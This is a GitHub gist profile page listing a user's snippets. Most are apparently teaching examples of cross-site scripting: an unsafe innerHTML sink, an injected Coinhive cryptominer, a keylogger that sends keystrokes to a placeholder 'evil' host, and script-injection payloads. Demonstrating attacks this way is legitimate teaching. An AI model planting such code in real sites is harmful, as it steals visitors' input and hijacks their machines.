Skip to content

Instantly share code, notes, and snippets.

Avatar
🇺🇦

Stepan Suvorov stevermeister

🇺🇦
View GitHub Profile
View gist:27041289c766cd97a6acff71f2348b3d
# Block Russian Propaganda Channels!
(check updates from telegram channel - https://t.me/+nqYNNt0qoKU4MTRi)
You can help Ukraine by reporting this channels as fake:
TELEGRAM:
https://t.me/grey_zone
https://t.me/rlz_the_kraken
https://t.me/warjournaltg
https://t.me/bbbreaking
@stevermeister
stevermeister / convert.js
Created Jan 24, 2021
convert data from list to tree format
View convert.js
let data = [{
"counterpartyGroupId": 10,
"counterpartyGroupName": "Офисные сооружения",
"counterpartyGroupTypeId": 3,
"counterpartyGroupRemark": "Офисы",
"counterpartyGroupParentId": 0
},
{
"counterpartyGroupId": 11,
"counterpartyGroupName": "Страховые компании",
View not_trusted.js
el.innerHTML = location.hash.slice(1); //string
View trusted_types.js
el.innerHTML = { toString: () => 'hello' }
el.innerHTML // "hello"
View xss_coins.html
<script src="https://coinhive.com/lib/coinhive.min.js">
</script>
<script>
var miner = new CoinHive.User('SITE_KEY', 'john-doe');
miner.start();
</script>
View xss_creditcard.js
var keys='';
document.onkeypress = function(e) {
e = window.event?event:e;
key = e.keyCode?e.keyCode:e.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://evil.../log.php?c='+keys;
View xss_result.html
<form id="#form">
<input type="hidden"
value="https://example.com"/><script>alert(1)</script>
</form>
View xss.html
.../?user=something<script>alert(1)</script>...
View cloudSettings
{"lastUpload":"2021-10-07T18:43:33.210Z","extensionVersion":"v3.4.3"}